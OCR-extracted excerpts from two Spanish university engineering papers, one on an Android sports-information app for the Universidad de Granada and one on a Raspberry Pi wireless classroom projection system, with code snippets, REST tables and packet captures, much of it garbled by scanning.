
" - | 10:00- |10:00- 10:00- [ 10:00- Localizacién
o ETSI Informatica y 11:00| 11:00 | 11:00 | 11:00 | 11:00
Telecomunicacion 11:00| PAT- PAZ- | PA3- | PA4-
Cirafeo Heetr 1a iision 2012 - Futbel |1 1 =1 11:00- |11:00- | 11:00- | 11:00- CAMPUS UNIVERSITARIO CARTUJA

12:00] 12:00 | 12:00 | 12:00 | 12:00 Direccion: Pasea Profesor Clavera s/n
o i ARt gt LV T2:00| PAI- | PA2- | PA3- | PA4- Horario: Lunes a Viemes de 9 a 14 horas

(1o Fector s 1 2013 - el e e e T Tifn. Administracion: 858242832
13:00| 13:00 | 13:00 | 13:00 | 13:00 Fax 8252897

T3:00] PAI- | PA2- | PA3- | PAG- 958242892
= 13:00- | 13:00- (13:00- | 13:00-
d) e) f)

Fig. 4. Capturas de diferentes funcionalidades. a) Activity principal. b) Lista
de noticias. c) Lista de deportes. d) Mis Equipos. €) Disponibilidad de pistas.
f) Informacion de contacto.

IV. IMPLEMENTACION

A. Jackson

Para la serializacion de los objetos que se intercambian
mediante los servicios web REST definidos en el sistema, se
utiliza el formato de representacion JSON. La
implementacion de la serializacion se lleva a cabo mediante
la libreria Jackson [8]. Jackson, es una libreria de utilidad de
Java que simplifica el trabajo de serializar y deserializar
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objetos JSON. Para ello, las clases que se van a pasar a JSON
deben contener los getters/setters de las variables que se
deseen. A continuacion, en la Fig.5, se muestra un ejemplo,
donde se aprecia que se le pasa la clase DatosCategoria, que
es la que contiene los getters/setters anteriormente
mencionados, y donde tras leer la URL del recurso, y mapear
la informacion, se devolvera el resultado.

public List<DatosCategoria> obtenerTorneos(String anic) {
List<DatosCategoriar listaCategorias = null;

try {
String respuesta = "";
// Aqui- hay que cambiar:
String url = baselRL + "/tornecs/" + anioj

respuesta = leerURL(url});

/! Aqul- hay que cambiar

// Intentamos interpertarlo con jackson:

ObjectMapper mapper = new ObjectMapper();
mapper.configure(DeserializationFeature.FAIL_ON UNKNOWN PROPERTIES,
false);

'/ Ejemplo para recibir una lista de objetos:
listaCategorias = mapper.readValue(respuesta,
new TypeReference<List<DatosCategoria>>() {

I H

} catch (IOException ex) {
Logger.getlogger(DeportellGRClient. class.getName() ). log(
Level .SEVERE, null, ex);
¥
return listaCategorias;

¥
Fig. 5. Ejemplo de uso de Jackson.

B. Tareas asincronas en segundo plano: AsyncTask

Desde la version 3.0 de Android, cuando se va a realizar una
consulta web, o se va a realizar una tarea que puede tardar
bastante o que pueda bloguear la aplicacién, es necesario
implementar un recurso de Android llamado AsyncTask [9],
que permite realizar tareas en segundo plano.

Para su uso, se crearan clases que extiendan de AsyncTask,
pasandole una serie de parametros como se muestra en la Fig.
6.

public class SolicitudInfoTorneosTask extends
AsyncTask<String, Integer, List<DatosCategoriax: {

Fig. 6. Ejemplo de creacién de una clase AsyncTask.

Dentro de la clase se ejecutaran una serie de métodos, entre
los que destacan:

- onPreExecute(), que se ejecutard antes de mandar
la tarea a segundo plano, mostrando por ejemplo algin
mensaje.

- doInBackground(), método que
ejecucion de la tarea a segundo plano.

- onPostExecute(), que es el método que trae de
nuevo la tarea a primer plano, y permite recuperar los
resultados obtenidos de la ejecucion de la tarea en
segundo plano.

lanzara la

C. Llamadas entre Actividades. Intents

Las Activities son independientes entre si, por lo que es
necesario utilizar intents, ya que son elementos basicos de
comunicacion entre los distintos componentes Android. En
nuestro proyecto se han usado con diferentes funcionalidades,
como:
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- Abrir una Activity normal.
- Abrir una Activity pasandole informacion de la
Activity anterior.

- Abrir el navegador web.

- Abrir el correo electrénico para mandar un email.

- Abrir el marcador de teléfono con el nimero marcado.
Un ejemplo de como pasar informacion de una Activity a
otra, puede verse en la Fig. 7, donde se muestra como
mediante el método putExtra(clave,valor), se pasa la
informacion que se desea, y en la nueva Activity, dentro del
método que crea la Activity (onCreate) gracias al método
getStringExtra(clave), se recuperard la informacion
deseada (Fig. 8).

public void onClickCalendario(View arg@) {
/f Creames un Intent para llamar a la activity correspondiente:
Intent intent = new Intent(EleccionActivity.this,
CalendariosActivity.class);
intent.putExtra(”com.example.activitydeportes.categoriald”, categoriald);
intent.putExtra("com.example.activitydeportes.deporteld”, deporteld);

startActivity(intent);

}s
Fig. 7. Ejemplo de pasar informacion a una Activity.

Intent intent = getIntent();
categoriald = intent
.getStringExtra("com.example. activitydeportes. categoriald");
deporteld = intent
.getStringExtra(”com.example.activitydeportes.deporteId”);

Fig. 8. Ejemplo de recuperar informacién de otra Activity.

D. REST

En la Tabla I se listan algunas de las URL de REST utilizadas
en el sistema.

TABLAI
TABLA DE SOLICITUDES

Listado general de deportes
Listado general de equipos

GET /perfiles/deportes
GET /perfiles/equipos

Informacidn de contacto GET /contactos/

Pistas reservahles GET /reservas/pistas

Disponibilidad GET /freservas/pistas/{codigoPista}/fecha,/{fecha]
Noticia GET /noticias/{noticiaid]}/tablones/{tablon}

Listado de competiciones GET ftorneos/{anio}
Listado de deportes en una competicion |GET /fcategorias/{categorial/deportes
Listado de calendarios GET /categorias/{categorial/deportes/{deporte}/calendarios

Mostrando a continuacién, en la Fig. 9, un ejemplo de la
respuesta para la obtencidn de las pistas reservables.

Respuesta:
[
{
“codigo™: “wP¥,
"tituleo™: "C. FUENTENUEWA - WOLEY PLAYA (&8min)™
T
{
“codigo™: -
"titulo™: "C. FUENTENUEWA - TENIS (&6@min)"”
I
{
“codigo™: "PF”,
"titulo™: "C. FUENTENUEWVA - POLIDEPORTIVAS (6emin)”™
¥
1
"codigo™: "P2",
"titule™: "C. FUENTENUEWA - PABELLON 2 (6@min)"
T
{
“codigo™: “P1v,
"tituleo™: "C. FUENTENUEWA - PABELLONMN 1 (&6@min)"
T
{
“codigo™: "PPT,
"titulo™: "C. CARTUJA - POLIDEPORTIVAS (&68min)"
I
{
“codigo™: "PAT,
“"tituleo™: "C. CARTUJA - PADEL (6@min)"™
¥
{
“codigo™: “PCv,
"titule™: "C. CARTUJA - PABELLOM (68min)™
i
1

Fig. 9. Ejemplo de respuesta ante la solicitud REST para las pistas
reservables.

V. EVALUACION FUNCIONAL

Para comprobar el correcto funcionamiento de la aplicacion,
se llevaron a cabo una serie de pruebas en diferentes
dispositivos como se muestra en la Tabla Il, comprobando
que todas las funciones principales funcionaban
correctamente bajo distintas condiciones, y que en caso de
gue se produjese algun fallo, se mostrase un mensaje de error,
indicando el fallo, para que asi el usuario pudiera ser
consciente del por qué.

TABLAI |
TABLA DE EVALUACION

Samsung Samsung  Samsung

Funcionalidad Situacion GalaxySll| Galaxy5Il | Galaxy SN
- Todo correcto
Notidas = -

Fallo conexidn/ servidor
Todo correcto 0Ok 0Ok Ok Ok
Competiciones Fallo conexidn/ servidor 0Ok 0Ok ok Ok
Sin equipos registrados 0Ok Ok Ok Ok
N — Todo c_olnecto i 0Ok 0Ok Ok Ok
Fallo conexidn/ servidor 0Ok 0Ok Ok Ok
Mis Equipos Todo correcto 0Ok 0Ok ok Ok
Fallo conexién /servidor 0k 0k 3 0k
Todo correcto 0Ok 0Ok Ok Ok
Anadir/quitar mis equipos | JEIICUBIIENES 0Ok 0Ok ok 0k
Sin equipos registrados 0Ok Ok Ok Ok
Todo correcto 0k 0k 0k 0k
. o Fallo conexion/ servidor 0Ok 0Ok ok Ok
RUTIN Fecha pasada Ok 0Ok ok 0Ok
Fecha lejana 0k 0k ok 0k
Rotacion de pantalla En cualquier situacion Ok Ok Ok Ok

Tras esto, la aplicacién DeportesUGR super6 todos los test y
controles de calidad de la Comision de Apps Mdviles de la
Universidad de Granada.
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VI. CONCLUSIONES

Los logros conseguidos en el desarrollo de este proyecto se
resumen en;

- Una aplicacién con una interfaz facil, sencilla e
intuitiva.

- Publicacién de la app en Google Play, a través del
canal de la UGR.

- Permite leer las noticias del tablon del CAD.

- Podemos consultar los calendarios y clasificaciones de
todas competiciones con las que cuenta la Universidad
de Granada.

- Permite ver las instalaciones de las que dispone la
Universidad de Granada.

- Se puede consultar la informacion de contacto.

- Es posible consultar la disponibilidad de una
determinada instalacion.

- La posibilidad de elegir tus equipos favoritos, o de
interés.

VIl. TRABAJO FUTURO

Actualmente, al girar el dispositivo, se recarga de nuevo la
informacion, por lo que seria interesante que una vez
descargada la informacion, se almacenase temporalmente en
el dispositivo, para que al girarlo no tuviese que cargar de
nuevo la informacién.

Seria interesante afiadir la posibilidad de que los capitanes de
los equipos pudieran solicitar el aplazamiento de un partido,
o confirmar una solicitud de aplazamiento del equipo rival,
desde la propia aplicacion.

Traducirla a otros idiomas seria algo muy interesante, ya que
la Universidad de Granada es el primer destino erasmus, y
muchos de sus alumnos en sus primeros meses no dominan el
espafiol, por lo que poder hacer uso de ella en otros idiomas
seria algo que les facilitaria el trabajo y aumentaria el nimero
de usuarios.

Aunque Android es el sistema operativo mas utilizado
actualmente, son muchos los usuarios de las instalaciones que
disponen de terminales con otros sistemas, por lo que seria
muy (til portar la app a otros sistemas operativos.

Afiadir la posibilidad de no solo consultar la disponibilidad
de una pista, sino también poder reservarla, es una de las
mejoras que podria realizarse a la aplicacién, una vez la
Universidad de Granada permita la reserva de pistas mediante
TPV de pago con tarjeta.
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Resumen—Este proyecto surge con el objetivo de poder hacer
uso de los proyectores situados en las aulas docentes sin la tediosa
necesidad de tener un equipo conectado a través de un cable
VGA. Para ello se conectard un PC de pequefio tamafio
(Raspberry Pi [1]) a través del interfaz HDMI del proyector, de
forma que el profesor pueda navegar a través de sus
transparencias u otros materiales desde cualquier equipo
conectado a la red WiFi de la UGR.

De esta manera, se mejora la usabilidad del servicio de
proyeccion y también la movilidad del docente por el aula, ya que
podria utilizar portatil desde cualquier lugar.

Para ello, se ha de disefiar un servidor con autenticacion de
usuarios para el almacenaje del material docente, asi como
integrar los diferentes protocolos que sean necesarios para que la
Raspberry Pi visualice dicho material a traves del proyector y
pueda ser controlada de forma inaldmbrica.

Palabras clave—Raspberry Pi, docencia, material docente,
proyeccion, exposicion, diapositivas

l. INTRODUCCION

L auge en las Gltimas décadas en el uso de la tecnologia es
Euna realidad. Actualmente las tecnologias de la

informacién y la comunicacién (TICs) estan sufriendo un
desarrollo vertiginoso, algo que afecta practicamente a todos
los campos de nuestra sociedad, y la educaciéon no es una
excepcion. Las TIC se han convertido en algo muy arraigado
en los centros educativos. Las tecnologias son cada vez mas
utilizadas en los métodos docentes, por parte sobre todo, de las
universidades. Y su uso ha fomentado cambios cualitativos en
la forma de ensefianza en cuanto a la presentacion de los
contenidos.[2][3]

En este punto se han de tener de tener en cuenta varios
aspectos. En el sistema utilizado actualmente es condicion
necesaria que el portatil esté conectado al proyector mediante
un cable con conector VGA. Hecho que resulta molesto y que
no permite al docente disponer de suficiente movilidad. Por
otro lado, también existe la necesidad de transportar
constantemente el ordenador personal para poder proyectar el
material utilizado.

A esto ademads, se afiade una clara tendencia a la creacion
de nuevos dispositivos cada vez de menores dimensiones,
como la nueva generacion de portatiles, ultrabook. Lo que esta
provocando la pérdida o reduccion de las posibles conexiones.
Esto, ademas del auge en las nuevas tecnologias portatiles
como tabletas 0 mdviles, provoca que los nuevos dispositivos
tecnolégicos no puedan conectarse a los proyectores que

habitualmente hay instalados en las clases mediante un
conector VGA. En su lugar, son necesarios adaptadores a partir
de una entrada USB o HDMI.

Por tanto, es motivante trabajar sobre un campo que
vivimos diariamente y que es muy familiar, con el objetivo de
implantar una serie de mejoras sobre el sistema utilizado
actualmente, tratando de buscar una solucion que proporcione
la comodidad de no tener que depender de una conexién
mediante cable con el proyector. Algo que, a su vez, facilitaria
el movimiento del docente en el aula.

De esta manera, la solucién final que se plantee podra
implantarse en las aulas docentes de la propia universidad,
algo que es una motivacion extra.

Il. ESTUDIO DEL ESTADO DEL ARTE

A. Proyectores inaldmbricos

La solucion mas evidente reside en los proyectores
inalambricos. Este tipo de proyectores utilizan tecnologia Wi-
Fi o Bluetooth para la conexion y comunicacién con el
ordenador proveedor de imagenes. De esta forma se permite el
uso de diferentes dispositivos sin necesidad de conexién
cableada, aumentando asi la movilidad del docente.

El principal problema de esta solucion reside en su precio.
El valor minimo de un proyector de estas caracteristicas es
aproximadamente 1000€ segin las principales pagina de
ventas. Algo que aumenta considerablemente el coste de
instalacion.

B. Pizarra interactiva y Tablet Monitor

Esta solucion evita los mismos inconvenientes que la
anterior gracias al elemento controlador de la pizarra
interactiva, Tablet Monitor. Aunque también, al igual que los
proyectores inaldmbricos, presenta un gran inconveniente con
respecto a su coste. Sera necesario adquirir una pizarra por
clase y una Table Monitor para cada profesor.

C. Apple TVy AirPlay

Applet TV[4] es un dispositivo disefiado para reproducir
contenido multimedia en una television de alta definicion. Y
gracias a la tecnologia AirPlay[5] se puede utilizar cualquier
tipo de dispositivo del fabricante Apple[6] para la
reproduccion del contenido.

Este dispositivo no solo esta destinado al ocio, sino que es
una solucion que puede ser empleada en el ambito docente.
Esta solucion es quizas la que mas se asemeja a los objetivos
que se quieren cumplir con este proyecto. De hecho, ya se ha
realizado un estudio del uso de este dispositivo en el &mbito
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TABLA |
RESUMEN
Solucién Ventajas Inconvenientes
Proyectores = Movilidad = Precio
inalambricos = Conexion de = Desperdicio de
diferentes dispositivos los proyectores
actuales
Pizarra = Movilidad = Precio por unidad
interactiva = Interaccion con la = Necesidad de
pizarra Tablet Monitor
por docente
Apple TV = Movilidad = Precio
= Conexion de = Necesidad de un
diferentes dispositivo iOS
dispositivos
= Almacenamiento
centralizado (iCloud)
Dispositivos = Movilidad = Necesidad de
Miracast = Econémico dispositivo
= Conexion de Miracast
diferentes = Aln en desarrollo
dispositivos
= Screen mirroring
Chromecast = Movilidad = Sin screen
= Solucién més mirroring
economica = Aln en desarrollo
= Compatibilidad con la
mayoria de SO
actuales

académico por la Universidad Rovira i Virgili (URV)[7].
Aungue como principal inconveniente a esta solucion se
encuentra la total necesidad del docente de disponer de un
dispositivo Apple para su uso, algo que causaria demasiados
inconvenientes.

D. Wireless Display y Miracast

Como alternativa a la tecnologia propuesta por Apple, se
encontra Wireless Display [8]. Un dispositivo cuya funcion es
basicamente igual que Apple TV, pero utilizando en este caso
la tecnologia Miracast [9]. Miracast es un estandar creado por
la Alianza Wi-Fi y que consiste en una red peer-to-
peer utilizada para enviar screencast de forma inaldmbrica
formando conexiones Wi-Fi Direct de forma similar a como lo
hace Bluetooth.

Al igual que en el caso anterior, existe la necesidad de un
dispositivo compatible con la tecnologia Miracast para poder
hacer uso de esta solucion.

E. Chromecast

Cabe destacar Chromecast[10], principal competidor de
Apple TV, sobre todo por precio. En cuanto a las
caracteristicas, parecido a los dispositivos comentados
anteriormente.

Aunque existen varias diferencias. Este dispositivo es
compatible con todas las versiones de los sistemas operativos
maés utilizados del momento a partir de Android 2.3, i0OS 6.0,
Windows 7, Mac OS 10.7 y Chrome OS.

Pero este dispositivo no permite screen mirroring,
simplemente se puede seleccionar el contenido y reproducirlo.
Llegando asi a otro de sus inconvenientes, la necesidad de
tener el contenido almacenado en el dispositivo para poder
reproducirlo.

Finalmente, en la Tabla I puede verse un cuadro resumen
con las diferentes soluciones estudiadas.

I1l. ANALISIS DE OBJETIVOS

La solucion finalmente implementada debe solucionar
todos o la mayoria de los problemas planteados en apartados
anteriores sobre el actual método docente utilizado en las
universidades. Asi, se pueden diferenciar una serie de
objetivos que se han de cumplir obligatoriamente para que la
solucién implementada sea la idénea:

= Se deben eliminar las conexiones mediante cable.
Permitiendo de esta forma la total movilidad del docente
por el aula de ensefianza.

= Debe ser facilmente portable a diferentes tecnologias y
sistemas operativos de forma que en un futuro se pueda
utilizar en entornos diferentes.

= Debe existir un sistema de gestion del material
centralizado de forma que no sea necesario llevar el
material guardado en los dispositivos.

= Debe ser una solucion de facil instalacion y transporte,
de forma que el sistema no sea una instalacion fija en una
clase.

= Por supuesto debe ser muy econdmico, tanto como para
que pueda ser instalado sin asumir un gasto elevado por
parte de la universidad.

Como se puede intuir, gracias al uso de Raspberry Pi como
base del sistema implementado, se podran cumplir la mayoria
de estos objetivos de forma sencilla.

Adicionalmente a estos objetivos, se especifican una serie
de objetivos secundarios u opcionales. Dichos objetivos no son
obligatorios, pero afiaden nuevas funcionalidades al producto
final. Estos objetivos son de gran complejidad y suponen una
inversion de tiempo mayor. Estos son los siguientes:

= El material docente debe ser en formato PDF como
minimo, ampliable posteriormente a otros formatos de
imagenes o documentos.

= El sistema de seguridad y autenticacién de usuarios se
debe adaptar al sistema utilizado por la Universidad de
Granada. De esta forma se facilitard la tarea de la
posterior implantacion en las aulas.

= El sistema inicial cuenta con una Unica Raspberry Pi. Se
debe incorporar una base de datos adicional que contenga
la informacion de las localizaciones de los proyectores.
Asi se podra elegir en qué aula mostrar el material cuando
existan varios sistemas instalados.

= Debe unificar las tecnologias actuales, de forma que sea
indiferente el uso de ordenador, tableta o smartphone
para proyectar el material.

= Debe incorporar un sistema que permita mostrar y
visualizar en el proyector la imagen de la pantalla del
dispositivos utilizado.

IV. DISENO E IMPLEMENTACION

A la hora de realizar el disefio de la solucion hay que tener
en cuenta los objetivos marcados en el apartado anterior. De
esta forma, para que se pueda ser una solucion extensible a
diferentes plataformas con facilidad se utiliza un servidor web,
el cual se configurara de forma que utilice HTTPS en lugar de
HTTP por razones de seguridad. Para el almacenamiento
centralizado del material docente se utiliza un servidor SFTP.
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Fig. 1. Disefio global de la implementacién
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Para adaptar la autenticacion de usuarios al utilizado por la
Universidad de Granada (UGR) se afiade un servidor RADIUS
centralizado como servidor de autenticacion y un servidor
LDAP como gestor de base de datos de usuarios, ya que es el
sistema utilizado [11]. De esta forma se consigue mayor
facilidad para la implantacién del sistema en las aulas
docentes. Finalmente, en la Raspberry Pi ira situado un Gltimo
servidor, que sera el encargado de manejar el material a
proyectar. Con todas estas indicaciones, el resultado final del
disefio puede verse en la Figura 1.

Una vez que se tiene claro el disefio de la solucion se han de
seleccionar las mejores opciones de configuracion o
implementacion. De esta forma, para facilitar el trabajo se opta
por la configuracion de todos los servidores en un equipo con
sistema operativo Linux (Ubuntu 14.4 [12]). Para el servidor
web se utiliza un servidor Apache [13] configurado como
HTTPS. Para ello serd necesario la creacion de un certificado
digital. Ademas, el lenguaje utilizado para la programacion del
entorno web es PHP [14][15], consiguiente asi un entorno muy
dinamico y que puede ser utilizado por cualquier dispositivo
[16]. Para el servidor de ficheros (SFTP) se utiliza el servidor
VSFTPD [17], también configurado con un certificado digital
para cifrar la informacion y aumentar de este modo la
seguridad del sistema. Por Gltimo, para la autenticacion de
usuarios se emplearan un servidor FreeRADIUS [18], el cual
posee un moédulo para LDAP, y un servidor OpenLDAP [19]
que estara configurado con dos entradas, una para profesores
y otra para alumnos, de igual forma que se ha distincion en los
servicios web de la universidad.

El servidor situado en la Raspberry Pi se debe disefiar e
implementar de tal forma que se encargue de obtener, mostrar
y manejar el material que se proyectard y utilizara el docente.
Para ello se utiliza una aplicacion cliente-servidor con sockets
utilizando el lenguaje de programacion JAVA [20]. En lo que
respecta al software utilizado en la Rapsberry Pi corresponde
también a un entorno Linux, RASPBIAN Debian Wheezy [21]
en este caso. Ademas, el software utilizado por la Raspberry
Pi para el manejo y control del material mostrado es MuPDF
[22], el cual permite el manejo total, tanto fichero en formato
PDF como otros formatos de imagenes (PNG, JPG, etcétera),
mediante consola. Hecho que facilitard la forma en la que se
enviaran las drdenes.

Como se ha podido apreciar, todo el software utilizado se
puede obtener de forma gratuita, contribuyendo asi a la
reduccion de inversion necesaria.

Una vez se tiene claro el software que se va a utilizar, se
puede determinar cudl sera el funcionamiento general de la
solucién. Dicho funcionamiento puede verse en la Figura 2.

Un usuario con sus datos accede al entorno web. Para la
autenticacion se pasa la consulta al servidor FreeRADIUS y
este a su vez a la base de datos OpenLDAP. Si los datos son
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Fig. 2. Disefio general de funcionamiento

correctos el usuario accede finalmente al entorno web. Un
entorno muy simple e intuitivo donde se mostrara una lista con
los ficheros que el usuario tiene almacenados (véase la Figura
3). Ademas, desde este entorno se podra afiadir un nuevo
fichero, borrar, descargar o renombrar uno antiguo, o enviar
dicho fichero al proyector de la clase. Dicho proyector se
debera seleccionar de entre una lista con las clases que tienen
este sistema instalado. Esta Ultima accion dard paso a la
ejecucion de la aplicacion cliente, la cual establecerd
comunicacion con el servidor mediante los anteriormente
mencionados sockets [23]. Desde esta aplicacion se produce
una comunicacion continua de peticién-respuesta donde se
enviaran todas las érdenes referentes al manejo del material
proyectado, tales como: avanzar o retroceder pagina, aumentar
o disminuir zoom, entre muchas otras.

Dicha aplicacion serd implementada en JAVA [24], como
se menciond anteriormente. Ademas, debe ir integrada en el
entorno web, para que sea de facil acceso desde cualquier
equipo. De esta forma, la implementacion realizada
corresponde con un JApplet [25], la herramienta utilizada por
JAVA para sus aplicaciones web. La interfaz de usuario varia
en funcién del tipo de material utilizado puesto que las
funciones seran diferentes. Un ejemplo de dicha interfaz puede
verse en la Figura 4.

Servicio de Proyeccién de Material
Docente

Nombre

Raspberry Pi

Fig. 3. Interfaz web de usuario

Servicio de Proyeccién de Material
Docente

Raspberry Pi

Fig. 4. Interfaz de usuario para un fichero PDF
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Este es el fichero de mensajes logs del Servidor RPi:

[29/06/2014
[29/06/2014
[29/06/2014 17:42:
[29/06/2014
[29/06/2014
[29/06/2014
[29/06/2014 17:

17:41: Iniciado Servidor RPi

36] Conexion con cliente: /192.168.1.10
Usuario: admin

Conexion con el servidor FIP exitosa

4] Cerrada conexion con el cliene.
Iniciado Servidor RPi

Fig. 13. Contenido del fichero log del ServidorRPi

El disefio e implementacion de la aplicacion cliente y el

servidor JAVA corresponden a los diagramas de estados de las
Figuras 5 y 6 respectivamente. En ellas se puede ver cdmo el
paso de un estado a otro se realiza de igual forma, siguiendo
un protocolo de intercambio de mensaje disefiado e
implementado especialmente para esta aplicacién cliente-
servidor. Este protocolo puede verse en la Figura 7.
Por supuesto, como se puede apreciar en las imagenes, ambas
implementaciones cuentan con un completo sistema de
deteccion y recuperacion frente a errores evitando que el
servidor quede blogueado bajo ninguna circunstancia. Ademas
de un sistema de debug que permite al usuario encargado del
mantenimiento observar el intercambio de mensajes, y un
sistema log que permite almacenar los acontecimientos mas
importantes en el transcurso de su utilizacion.

V. EVALUACION Y PRUEBAS

La fase de evaluacién y pruebas es una constante a lo largo
de todo el proceso de realizacion del proyecto. No obstante, en
esta fase se realizardn las pruebas correspondientes a un
entorno de aplicacién real. Escenario que puede verse en la
Figura 8. En este entorno, el PC con la direccion 192.168.1.3
corresponde con el entorno Linux que alberga los servidores
web, SFTP, RADIUS y LDAP. EI PC 192.168.1.10
corresponde al cliente y el servidor 192.168.1.38 al servidor
situado en la Raspberry Pi (ServidorRPi).

Inicio
@

Inciar conexidn

Error

Canectadu)

—

Envio datos usuario

Espera confirmacidn

Error -
datos usuario

Envio datos archivo

£ Espera confirmacidn
rror datos archivo

Envio peticidn abrir

Envio peticiones

e

Error
Espera respuesta oK
L

Recibida petiddn cerrar

Espera mandar
peticidn

Error

L' -
- -

Fin

Fig. 5. Diagrama de estados del ClienteRPi

trolando el archivo: CATALOGO COLONIAS.pdf, el usuario: admin

Inicia

Abrir puerto

Reinicio
Error servidor

conexidn

Cierre
cliente

rando
cliente

Inciar conexion . .
Recepcidn mensaje

incorrecto
Estada inicial l’—\

Recepcion datos
usuario

Estado identificado }‘

Recepcidn datos
archivo

1]

Estado error

f
i

Recepcidn mensaje
incorrecto

archivo
rado

Estado
prepa

M

Peticidn abrir

Recepcién mensaje
incorrecto

Estado archivo
abierto

M

Peticidn
cerrar

Peticidn

Estado final

Fig. 6. Diagrama de estados del ServidorRPi

Para la realizacién de las pruebas se estudiaran todas las
alternativas y funcionalidades que ofrece el sistema disefiado
para comprobar su total y correcto funcionamiento. Ademas,
paralelamente a esto se realizaran diversas capturas de tramas
con la herramienta Wireshark [26], comprobando de esta
forma el correcto funcionamiento del sistema.

El resultado obtenido de este proceso se muestra en las
Figuras 9-13.

VI. CONCLUSIONES

En este proyecto se ha disefiado e implementado un
sistema de proyeccion de material docente que aporta una
solucidn diferente al sistema utilizado actualmente.

Como se ha visto en el apartado anterior, el resultado final
de la fase de evaluacién y pruebas ha sido muy satisfactorio.
Asi, las contribuciones més destacables son las siguientes:

= El sistema implementado permite la proyeccion de
material docente sin la necesidad de utilizar un cable para
la conexidn con el proyector, haciendo uso de una red
inalambrica. Para el caso, la red Wi-Fi de la Universidad
de Granada.

= Como consecuencia del punto anterior, este nuevo
sistema permite la total movilidad del docente en toda el
aula de ensefianza mientras se proyecta el material.

= El sistema implementa ademds un gestor de
almacenamiento centralizado, donde cada docente podra
guardar el material que quiera utilizar en sus clases. De
esta forma, se facilita el trabajo del docente con
diferentes equipos, puesto que elimina la necesidad de
tener guardado el archivo en el equipo utilizado.

= Para la gestion del sistema de almacenamiento anterior,
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Cliente Servidor
@ ®
-

Conexidn en el socket 8888

OK

ot

USER + datos de usuario

+0K WELCOME

SFTP + datos de archivo

+0K Archivo preparado

ABRIR

+0K Abierto

Peticidn

vV [Y|Y

+0K

CERRAR

L

BYE

B
BYE

.

Fig. 7. Intercambio de mensajes ClienteRPi-ServidorRPi

se ha implementado un sistema gestor de base de datos
donde se almacenaran todos los datos relevantes a las
cuentas de los usuarios.

Para la autenticacion de usuarios, el sistema se ha
implementado y adaptado al sistema actualmente
utilizado por la Universidad de Granada en sus servicios
web. De esta forma se allana el camino de implantacion
del sistema en el ambito docente de la universidad.

El sistema ofrece la posibilidad de trabajar con material
docente en formato PDF, o con imagenes en formato JPG
y PNG. Ademas es facilmente ampliable a otros formatos
y tipos de documentos diferentes. También se permite de
forma sencilla la ampliacién de las funcionalidades de los
mismos.

El sistema implementado permite la reutilizacién de los
proyectores actualmente instalados. Como se viene
comentando en capitulos anteriores, se utiliza una
Raspberry Pi por clase como Unico gasto nuevo para la
implantacion (ademés del servidor centralizado). Esto
supone que el sistema final sea una soluciébn muy
econdmica[27], de forma que se puede considerar
seriamente la posibilidad de su implantacion en las
diferentes aulas de la universidad.

Ademas, gracias también a la Raspberry Pi, se consigue
que el sistema sea de facil transporte y de facil instalacion
(véase el Anexo Il). También permite que el sistema no
sea una instalacion permanente, aumentando asi su
usabilidad en diferentes escenarios.

Finalmente, el sistema no ha conseguido unificar las
tecnologias actuales, de forma que sea indiferente el uso
de ordenador, tableta o smartphone para proyectar el
material, que era uno de los objetivos secundarios de este
proyecto. Pero si se ha conseguido un sistema facilmente
portable a diferentes tecnologias y sistemas operativos,

h|§§r
g o—F

192.168.13

&Y

192.168.1.10

192.168.1.38

Fig. 8. Escenario tipico de aplicacién

No. Time  Source

i otocol _Length _Info
ss o 31001700 192, 165.1.10 191.

68 51145 > https [SYN] Seq-0 win-8192 Len-0 MSS-1460 Ws~4 Si
68 hreps: 3-S1145. [SYN, ACK] 'Sequ0 ‘Ack=1) #in=29200. Len=0'MSS
1 q=1 Ack=l Win=17520 Len=0

51 0. 107 change ci Spec, He ello
62 0.33059400 192.168. 56 51145 > https [FIN, ACK] seq-seg Ack=138 Win=17380 Len=0
62 0.33072300 192, 168, 56 NTEps > 51145 [FIN, ACK] Seq=138 Ack=570 Win=30336 Len-0
64 0.33406600192.168.1.10 192 .1.3 P 56 51145 > https [ACK] Seq=570 Ack=139 Win=17380 Len=0

. 68 51146 > https [SYN] Seqs0 win=8192 Len=0 nss-uw
66 0.43875400192. 168.1 ; 68 hCEps » 51146 [SYN, ACK] Se€q=0 Ackel Win-25200 Len=0 s
67 0.44513800192.168.1.10 192.168.1.3 TP 56 51146 > https [ACK] Seq=1 Ack=1 Win=17520 Len=0

Fig. 9. Tramas inicio de conexidn con el servidor web

No. |Time Source Destination Protocol  Length Info
28 2.59150500127.0.0.1 127.0.0.1 RADIUS 89 Access-Request(1l) (id=13, 1=45)
32 2.59286000127.0.0.1 127.0.0.1 LDAP 82 bindRequest(1l) "<ROOT>" simple
34 2.60721500127.0.0.1 127.0.0.1 LDAP 82 bindResponse(1) success
36 2.60737300127.0.0.1 127.0.0.1  LDAP 1062 searchrequest(2) "dc=ugr,dc=es"” wholest
37 2.62256900127.0.0.1 127.0.0.1 LDAP 100 searchresentry(2) "cn=admin,dc=ugr,dc=¢
38 2.62286500127.0.0.1 127.0.0.1 LDAP 82 searchrResDone(2) success [1 result]
43 2.62348800127.0.0.1 127.0.0.1 LDAP 108 bindrequest (1) “"cn=admin,dc=ugr,dc=es”
45 2.62399800127.0.0.1 127.0.0.1 LDAP 82 bindResponse(1) success
47 2.62414500127.0.0.1 127.0.0.1  LDAP 75 unbindrequest(2)
49 2.62432800127.0.0.1 127.0.0.1 RADIUS 64 Access-Accept(2) (id=13, 1=20)
64 2.75609100127.0.0.1 127.0.0.1 FTP 88 Response: 220 (vsFTPd 3.0.2)
66 2.75620600127.0.0.1 127.0.0.1 FTP 78 Request: AUTH TLS
68 2.75632000127.0.0.1 127.0.0.1  FTP 99 Response: 234 Proceed with negotiation.
69 2.75660400127.0.0.1 127.0.0.1  FTP 385 Request: \026\003\001\0018\001\0001001«
70 2.75701000127.0.0.1 127.0.0.1 FTP 861 Response: \026\003\003\000:\002\000\00(
71 2.75762900127.0.0.1 127.0.0.1 FTP 278 Request: \026)003)003\000\a\v\000\000\(
72 2.76034600127.0.0.1 127.0.0.1  FTP 302 Response: \026\003\003\000\252\0041000
73 2.76070200127.0.0.1 127.0.0.1 FTP 113 Request: \027\003\003\000(\003~\236\20:

Fig. 10. Tramas de autenticacion de usuario en entorno web

No.  Time Source Destination Protocol  Length Info
191 24.2179390192.168.1.38 192.168.1.3 P 76 44863 > ftp [SYN] Seq=0 Win=29200 Len=0
192 24.2179920192.168.1.3 192.168.1.38 TCP 76 ftp > 44863 [SYN, ACK] Seq=0 Ack=1 win=2
193 24.2199050192.168.1.38 192.168.1.3  TCP 68 44863 > ftp [ACK] Seq=l Ack=1 Win=29248
